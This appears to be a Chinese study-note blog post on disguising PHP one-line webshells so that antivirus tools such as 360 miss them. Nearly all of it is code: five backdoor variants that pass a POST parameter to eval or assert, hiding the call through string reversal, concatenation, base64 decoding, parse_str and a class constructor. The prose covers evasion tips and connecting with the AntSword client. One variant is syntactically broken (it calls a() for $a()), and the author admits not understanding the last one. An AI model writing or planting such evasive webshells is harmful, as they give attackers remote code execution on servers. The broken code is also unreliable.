<?php
$a="TR"."Es"."sA";
$b=strtolower($a);
$c=strrev($b);
@$c($_POST['jaden']);
?>
一句话木马免杀本质上就是把一句话目标进行变形。比如说360这种查木马的时候规则设置并不完美,所以可以通过字符串拼接,字符串旋转,变小写等等,进行绕过。
<?php
function fun($a){
@eval($a);
}
@fun($_POST['jaden']);
?>
这个就用了一个函数进行绕过检查
不过这都是过时又简单的方式。接下来可以通过编码解码的方式进行绕过
<?php
$a=base64_decode("YXNzZXJ0");
@a($_POST['jaden']);
?>
<?php
$str="a=eval";
parse_str($str);
$a($_POST['jaden']);
?>
一定要注意很多php一句话木马,一定要注意你写的版本和目标php的版本,版本不一致,版本不兼容很容易导致失败。就算不报错也要注意自己写的绕过自己是否可以识别,你就比如说你使用base64加密,虽然你加密成功了,但是的工具蚁剑是否可以连上。你的工具要是别的出你免杀后的代码
最后的最后
<?php
class zeo2
{
public $b ='';
function post(){
return $_POST['jaden'];
}
}
class zeo extends zeo2
{
public $code=null;
function __construct(){
$code=parent::post();
assert($code);
}
}
$blll=new zeo;
$bzzz=new zeo2;
?>
虽然代码我不能理解,但是老师jaden现实了,我还是先记下来
4141

被折叠的 条评论
为什么被折叠?



